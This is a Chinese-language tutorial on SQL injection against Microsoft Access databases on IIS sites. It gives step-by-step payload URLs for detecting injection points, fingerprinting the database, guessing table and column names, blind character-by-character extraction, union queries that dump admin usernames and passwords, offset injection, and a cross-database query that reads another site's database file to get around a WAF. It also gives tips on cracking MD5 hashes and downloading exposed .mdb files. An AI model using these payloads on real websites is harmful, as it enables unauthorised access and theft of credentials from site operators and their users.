企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持私有化部署方案 广告
[toc] Access数据库windows平台下的小型数据库,搭建方便,维护简单,因此一般是与windowns下的iis中间件一起用的 ## 找注入点并确定数据库类型 找注入点 ```SQL '        ● 返回错误 and 1=1    ●返回正常 and 1=2    ● 返回错误 # 满足以上条件即存在注入 ``` 判断iis后的数据库类型 ```sql and exists (select * from msysobjects)>0 ●返回正常,即可判断其为Access数据库 and exists (select * from sysobjects)>0 ●返回正常,即可判断其为MSSQL数据库 ``` ## 猜数据库名和字段 access数据库没有有效办法获取库表名,只能通过暴力破解的方式一个一个的尝试 **猜解数据库表名** access数据库没有库名的概念,直接就是表 ```SQL and exists(select * from 表名) # 一个一个猜,猜中为止,例如: http://XXX?id=1 and exists(select * from users) http://XXX?id=1 and exists(select * from admin) http://XXX?id=1 and exists(select * from administrator) ``` **猜字段:** ```sql and exists(select 字段名 from 表名) # 一个一个猜,猜中为止 例如: http://XXX?id=1 and exists(select username from administrator) http://XXX?id=1 and exists(select user_name from administrator) http://XXX?id=1 and exists(select password from administrator) ``` ## 爆破access中的数据 ### 猜字段长度和数据(标准) **猜解字段长度** 通过上述步骤可以知道,数据库表名是“administrator”,表中字段有“user_name”和“password”。 ```sql #用返回的对错猜测 and (select top 1 len(user_name) from administrator)>xx #如以下报错,可确定字段数目为5 http://xxx?id=14 and (select top 1 len(user_name) from administrator)>3 ●正常 http://xxx?id=14 and (select top 1 len(user_name) from administrator)>4 ●正常 http://xxx?id=14 and (select top 1 len(user_name) from administrator)>5 ●报错 ``` **猜解字段内容** ```sql and (select top 1 asc(mid(user_name,1,1)) from administrator)>xx #先判断第一个字母,是汉字还是字母 ## 返回正常页面说明ASCII值大于0 ,是字母 http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 # 二分法确定acsii码, http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>50 http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>75 # 最后根据确定下来的acsii码97,反查对应表得到第一个字母为a,在用同样的方法确定出来其他位字母 ## 密码的话一般会做md5加密,记得用网站的解密工具尝试(简单的可以反解成功) ``` >小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。 ### 用联合查询方案注入(通用) 首先还是要先猜解出所需的表的表名和字段名,这个没有办法 再用order by语句排序,根据排序数量,可知当前页面可查询字段数,假设为7 再通过union查询数字,确定出页面可显示的字段(假设是第2和3字段) 最后通过union语句联合查询指定表(在可显示的字段替换为需要查询的表中的字段) ```sql order by 7 and 1=2 union select 1,2,3,4,5,6,7 from admin and 1=2 union select 1,user_name,passwoed,4,5,6,7 from admin ``` ## 偏移注入和跨库查询 ### 偏移注入 偏移注入会随机爆出一个字段内容,具体是什么看运气 偏移注入只针对Access数据库,当我们只猜到数据库表名但猜不到列名的情况下,这种方法可以帮我们填补。 ```url #第一步:使用之前的方法得到显示点为2,3,字段个数为7,但是我们并不知道列名 http://XXX?id=14 union select 1,2,3,4,5,6,7 from administrator #第二步:用*依次向前替换数字字段,直到页面显示正常。例如在5替换为*后页面返回正常 http://XXX?id=14union select 1,2,3,4,* from administrator #说明星号替换了3个字段(也就是表中有三个字段),后续要使用inner jion自表连接查询,因此计算字段数乘以2是否小于当前列(3*2<7) #第三步:公式成立的话,用inner jion自连接查询 http://XXX?id=14 union select 1,* from (administrator as a inner join administrator as b on a.id=b.id) #如果是更多位,可再接inner join http://XXX?id=14 union select 1,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id) ``` ### 跨库查询 假设a和b两个站点在同一服务器上面,但a服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。 这个时候我发现b站点有注入点。并且知道了“2和3”是注入点,可以通过跨库的方式,读取指定目录下access数据库的数据。 ```url http://xxx?id=14 union select 1,adminpassword,username,4,5,6,7 from[C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins ```